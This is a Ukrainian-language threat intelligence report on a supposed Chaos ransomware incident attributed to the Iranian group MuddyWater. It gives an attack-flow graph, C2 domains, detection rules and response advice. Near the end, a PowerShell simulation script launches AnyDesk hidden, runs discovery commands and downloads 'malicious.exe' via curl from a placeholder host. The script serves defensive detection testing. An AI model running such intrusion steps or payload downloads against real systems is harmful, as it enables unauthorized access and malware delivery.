Вимагач Chaos і загроза з боку держави, пов’язана з ним
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
На початку 2026 року те, що спочатку здавалося рутинним інцидентом з програмою-вимагачем Chaos, пізніше було ідентифіковано як операція-прикриття, пов’язана з іранською державною групою MuddyWater, також відомою як Seedworm. Натомість фокусування на шифруванні файлів, нападники використовували Microsoft Teams для соціальної інженерії, викрали облікові дані та тоукени MFA, розгорнули кастомний загрузчик разом з трояном для віддаленого доступу. Операція повторно використовувала інфраструктуру, пов’язану з MuddyWater, включаючи сертифікат підпису коду, і була націлена на крадіжку даних та збереження стійкого, довготривалого доступу.
Розслідування
Дослідники Rapid7 відновили ланцюг вторгнення від крадіжки облікових даних за допомогою Teams до використання легітимних інструментів віддаленого управління, таких як AnyDesk та DWAgent, а потім доставки ms_upd.exe, що завантажив кастомний RAT на ім’я Game.exe. Команда ідентифікувала домени командного управління, включаючи moonzonet.com and uploadfiler.com, разом з декількома пов’язаними IP-адресами та сертифікатом підпису, який раніше був пов’язаний з MuddyWater. Аналіз шкідливого програмного забезпечення також виявив поведінку проти аналізу, м’ютекс, використаний для забезпечення одноразового виконання, і механізми збереження, що включають сервіс і приховані файли.
Захист
Організації повинні запровадити більш сильний захист MFA, обмежити доступ до віддалених робочих столів і спільного використання екранів Teams до надійних облікових записів, а також відстежувати використання законних інструментів віддаленого доступу в незвичних контекстах. Повинне застосовуватися дозволене виконання для бінарних файлів з підписом коду, і виконання несписаних файлів з каталогів, доступних користувачам, повинно бути заблоковано. Команди безпеки також повинні регулярно перевіряти використання сертифікатів та блокувати відомі шкідливі домени та IP-адреси, пов’язані з кампанією.
Відповідь
Якщо ця активність виявлена, ізолюйте уражені системи негайно, анулюйте скомпрометовані облікові дані та MFA-тоукени, та починайте повний судово-експертний збір. Установлену інфраструктуру командного управління слід заблокувати, служби AnyDesk і DWAgent повинні бути видалені, а кастомний RAT має бути повністю видалений з середовища. Також слід провести пошук загроз для м’ютексу ATTRIBUTES_ObjectKernel і будь-яких залишкових файлів, збережених під каталогом ProgramData.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#aaffaa classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes – Actions action_initial_access["<b>Дія</b> – <b>T1566 Фішинг</b><br/>Нападник відправив шкідливі повідомлення Microsoft Teams, що заманювали користувачів на фальшиву сесію з розділенням екрану Quick Assist."] class action_initial_access action action_user_exec_link["<b>Дія</b> – <b>T1204.001 Виконання користувачем: Шкідливе посилання</b><br/>Жертви клікнули на шкідливе посилання, доставлене через Teams, що ініціювало завантаження <i>ms_upd.exe</i>."] class action_user_exec_link action action_user_exec_copypaste["<b>Дія</b> – <b>T1204.004 Виконання користувачем: Шкідливе копіювання-вставка</b><br/>Атакуючі інструктували користувачів копіювати-вставляти облікові дані у локально створені текстові файли."] class action_user_exec_copypaste action action_cred_access["<b>Дія</b> – <b>T1552.008 Незахищені облікові дані</b> & <b>T1078 Дійсні облікові записи</b><br/>Зібрані облікові дані з чатів і використані для входу до внутрішніх систем."] class action_cred_access action action_auth_mod["<b>Дія</b> – <b>T1556.001 Аутентифікація контролера домену</b><br/>Скомпрометовані облікові дані були використані для аутентифікації до контролеру домену, що дозволило отримати привілейований доступ."] class action_auth_mod action action_discovery["<b>Дія</b> – <b>T1082 Виявлення інформації про систему</b> & <b>T1016 Виявлення мережевої конфігурації системи</b><br/>Шкідливе програмне забезпечення зібрало ім’я хоста, ім’я користувача, домен, IP-адресу за допомогою ipconfig, whoami тощо."] class action_discovery action action_ingress_transfer["<b>Дія</b> – <b>T1105 Імпорт інструментів</b><br/><i>ms_upd.exe</i> завантажив додаткові компоненти (WebView2Loader.dll, Game.exe, visualwincomp.txt) за допомогою curl."] class action_ingress_transfer action action_execution["<b>Дія</b> – <b>T1059 Командний та скриптовий інтерпретатор</b><br/>Атакуючий виконав cmd.exe, PowerShell та pythonw.exe для запуску завантажених бінарних файлів."] class action_execution action action_process_injection["<b>Дія</b> – <b>T1055.011 Впорскування пам’яті додаткового вікна</b> & <b>T1055.002 Впорскування портативного виконуваного файлу</b><br/>pythonw.exe ін’єктував код у призупинені процеси, щоб запустити RAT непомітно."] class action_process_injection action action_defense_evasion["<b>Дія</b> – <b>T1027 Обфусковані файли або інформація</b> & <b>T1497 Віртуалізація/ухилення від пісковика</b><br/>Завантаження закодовано XOR, зашифровано AES‑256‑GCM; перевірки на аналіз DLL, ідентифікатори VM та перевірка часу для уникнення детекції в пісковику."] class action_defense_evasion action action_persistence["<b>Дія</b> – <b>T1219 Інструменти віддаленого доступу</b><br/>Розгортання служби DWAgent та AnyDesk для довготривалого віддаленого управління."] class action_persistence action action_lateral_movement["<b>Дія</b> – <b>T1563 Захоплення сесії віддаленої служби (RDP)</b> & <b>T1668 Виключний контроль</b><br/>Використані легітимні сесії RDP для переміщення в латеральному напрямку та виконання команд на додаткових хостах."] class action_lateral_movement action action_collection_exfil["<b>Дія</b> – <b>T1560 Архівація зібраних даних</b> & <b>T1041 Експілтрація через C2‑канал</b><br/>Дані архівовані у XOR‑зашифрованому архіві та завантажені на uploadfiler.com."] class action_collection_exfil action action_c2["<b>Дія</b> – <b>T1090 Проксі</b> & <b>T1573 Зашифрований канал</b><br/>Комунікація з інфраструктурою C2 (moonzonet.com, uploadfiler.com) через HTTPS із зашифрованими завантаженнями."] class action_c2 action %% Nodes – Tools / Files / Processes / Malware file_ms_upd["<b>Файл</b> – <b>Ім’я</b>: ms_upd.exe<br/><b>Опис</b>: Початковий завантажувач, що отримує додаткові компоненти."] class file_ms_upd file file_webview["<b>Файл</b> – <b>Ім’я</b>: WebView2Loader.dll<br/><b>Опис</b>: Підтримуючий DLL для відображення веб-контенту."] class file_webview file file_game["<b>Файл</b> – <b>Ім’я</b>: Game.exe<br/><b>Опис</b>: Вторинний компонент, виконуваний після завантаження."] class file_game file file_visual["<b>Файл</b> – <b>Ім’я</b>: visualwincomp.txt<br/><b>Опис</b>: Текстовий файл, що використовується для даних конфігурації."] class file_visual file process_cmd["<b>Процес</b> – <b>Ім’я</b>: cmd.exe<br/><b>Призначення</b>: Виконує інструкції командного рядка."] class process_cmd process process_ps["<b>Процес</b> – <b>Ім’я</b>: PowerShell<br/><b>Призначення</b>: Запускає скрипти PowerShell для виконання завдань."] class process_ps process process_python["<b>Процес</b> – <b>Ім’я</b>: pythonw.exe<br/><b>Призначення</b>: Виконує компоненти на основі Python та виконує впорскування в процеси."] class process_python process malware_dwaga["<b>Шкідливе програмне забезпечення</b> – <b>Ім’я</b>: Служба DWAgent<br/><b>Призначення</b>: Забезпечує постійний віддалений доступ."] class malware_dwaga malware tool_anydesk["<b>Інструмент</b> – <b>Ім’я</b>: AnyDesk<br/><b>Опис</b>: Легітимна утиліта віддаленого робочого столу, що використовується для збереження та латерального переміщення."] class tool_anydesk tool %% Connections – Потік action_initial_access –>|leads_to| action_user_exec_link action_user_exec_link –>|downloads| file_ms_upd action_user_exec_link –>|leads_to| action_user_exec_copypaste action_user_exec_copypaste –>|provides| action_cred_access action_cred_access –>|enables| action_auth_mod action_auth_mod –>|enables| action_discovery action_discovery –>|triggers| action_ingress_transfer action_ingress_transfer –>|downloads| file_webview action_ingress_transfer –>|downloads| file_game action_ingress_transfer –>|downloads| file_visual action_ingress_transfer –>|leads_to| action_execution action_execution –>|executes| process_cmd action_execution –>|executes| process_ps action_execution –>|executes| process_python process_python –>|injects| action_process_injection action_process_injection –>|facilitates| action_defense_evasion action_defense_evasion –>|enables| action_persistence action_persistence –>|installs| malware_dwaga action_persistence –>|installs| tool_anydesk malware_dwaga –>|supports| action_lateral_movement tool_anydesk –>|supports| action_lateral_movement action_lateral_movement –>|collects| action_collection_exfil action_collection_exfil –>|exfiltrates via| action_c2 %% Стилінг класів class action_initial_access,action_user_exec_link,action_user_exec_copypaste,action_cred_access,action_auth_mod,action_discovery,action_ingress_transfer,action_execution,action_process_injection,action_defense_evasion,action_persistence,action_lateral_movement,action_collection_exfil,action_c2 action class file_ms_upd,file_webview,file_game,file_visual file class process_cmd,process_ps,process_python process class malware_dwaga malware class tool_anydesk tool "
Потік Атаки
Виявлення
Можливе виявлення конфігурації мережі системи (через cmdline)
Перегляд
Можливе використання PING для затримки виконання (через cmdline)
Перегляд
Альтернативний інструмент віддаленого доступу / управління (через створення процесу)
Перегляд
Підозріла використання CURL (через cmdline)
Перегляд
Підозріле завантаження файлу через прямий IP (через proxy)
Перегляд
IOC (HashSha256) для виявлення: Затуманення слідів: Державна тінь за програмою-вимагачем Chaos
Перегляд
IOC (HashSha1) для виявлення: Затуманення слідів: Державна тінь за програмою-вимагачем Chaos
Перегляд
IOC (HashMd5) для виявлення: Затуманення слідів: Державна тінь за програмою-вимагачем Chaos
Перегляд
IOC (SourceIP) для виявлення: Затуманення слідів: Державна тінь за програмою-вимагачем Chaos
Перегляд
IOC (DestinationIP) для виявлення: Затуманення слідів: Державна тінь за програмою-вимагачем Chaos
Перегляд
Підозріле використання інструменту віддаленого управління та виявлення команди [Створення процесу Windows]
Перегляд
Виявлення інтерактивних входів та змін у конфігурації MFA [Журнал безпеки Windows]
Перегляд
Виконання симуляції
Попередня умова: Телеметрія & попередня перевірка базової лінії повинні пройти.
Обґрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначене для активації правила виявлення. Команди та наратив повинні прямо відображати ідентифіковані TTP та прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.
-
Атака & Команди:
- Встановити віддалену позицію використовуючи легітимний інструмент віддаленого управління AnyDesk.exe (відповідає селектору “віддалений‑інструмент”).
- Виконати мережеве розвідування виконуючи
ipconfigandwhoamiз тієї ж сесії – задовольняючи селектор ‘команди виявлення’. - Завантажити шкідливий компонент використовуючи
curlвикликаний черезcmd.exe, класична техніка для ‘Імпорту інструментів’ (T1105) та ‘Інтерфейс командного рядка’ (T1059). - Виконати завантажений компонент щоб завершити ланцюг вбивства (необхідно для валідації правила, але включено для реалістичності).
-
Сценарій регресійного тесту:
# ------------------------------------------------- # Симуляція скрипту – активує правило Sigma # ------------------------------------------------- # 1. Запустити AnyDesk (симулюється – припускається, що AnyDesk є в PATH) Start-Process -FilePath "AnyDesk.exe" -ArgumentList "--no-sandbox" -WindowStyle Hidden # 2. Виконати команди виявлення $discovery = @( "ipconfig /all", "whoami", "net start" ) foreach ($cmd in $discovery) { cmd.exe /c $cmd | Out-Null } # 3. Використовувати cmd.exe + curl для отримання фіктивного компонента $payloadUrl = "http://example.com/malicious.exe" $outputPath = "$env:TEMPpayload.exe" $downloadCmd = "curl $payloadUrl -o $outputPath" cmd.exe /c $downloadCmd # Необов'язково: Виконати завантажений компонент (коментар для безпеки) # Start-Process -FilePath $outputPath -WindowStyle Hidden # ------------------------------------------------- -
Команди очистки:
# Завершити AnyDesk, якщо він був запущений Get-Process -Name "AnyDesk" -ErrorAction SilentlyContinue | Stop-Process -Force # Видалити завантажений компонент Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # Очистити залишкові процеси cmd.exe, створені скриптом Get-Process -Name "cmd" -ErrorAction SilentlyContinue | Stop-Process -Force
Кінець звіту